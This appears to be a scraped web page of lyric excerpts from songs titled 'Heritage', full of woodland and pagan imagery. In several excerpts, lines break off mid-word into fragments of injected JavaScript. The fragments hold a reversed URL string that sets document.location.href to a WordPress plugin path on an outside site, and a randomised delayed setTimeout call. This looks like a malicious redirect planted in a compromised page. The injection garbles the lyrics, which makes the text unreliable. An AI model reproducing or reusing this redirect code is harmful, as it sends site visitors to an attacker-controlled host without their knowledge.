Heritage

By the cinders of the morn, Through the thistle and the thorns, Came a crown of horns, To a spring in the wood, Here upon the mountain, Runs the misty fountain, By the whispering well, A circle of hoods, Hear…

Oh how the path seemed lost, Scattered leaves across the trails, Footprints in the moss, Overgrown with leafy veils, All our paths were covered, ‘Til the time of returning, By day not a whisper, Though by night the fire was…

Midnight in the moonlit groves, The ivy spirals round the arms of the oak, Dancing in the shadowy light, Reveling in the memory of night… And at a glancing, Antlers prancing, Appeared within the branches dancing, The season sings of…

I was afraid toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to lose you, But now that you’re gone, Love is shining everywhere, So what is left toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mourn, The love you held within you, Could…

The heritage of songs, The orchestra of days, Memories fill these woods, Of long forgotten ways, Faces in the clouds, Dancing on the breeze, Shadowy shrines, In the shelter of the trees, The fires of night, The dance of the…

Oh the whispering feet, Of unheard melodies, Sung from silent strings, Oh the trembling trees, Shaking ceaselessly, Moving through all things, Footsteps on The trail of memory, Beneath the windswept skies, The lantern appears, Upon the horizon, Gazed with faceless…

Beneath the twinkling sky, a forest filled with eyes faces in the trees, the wood is alive. By the juniper roots a doorway is shown as the springtime primrose toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touches the stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if…

So oft stars crossed Prevent such course, As a poet and a muse betrothed, So on this fair eve, With the falling leaves, The rarest gift these hearts receive, So tragedy oh rest this night For woe has already graced…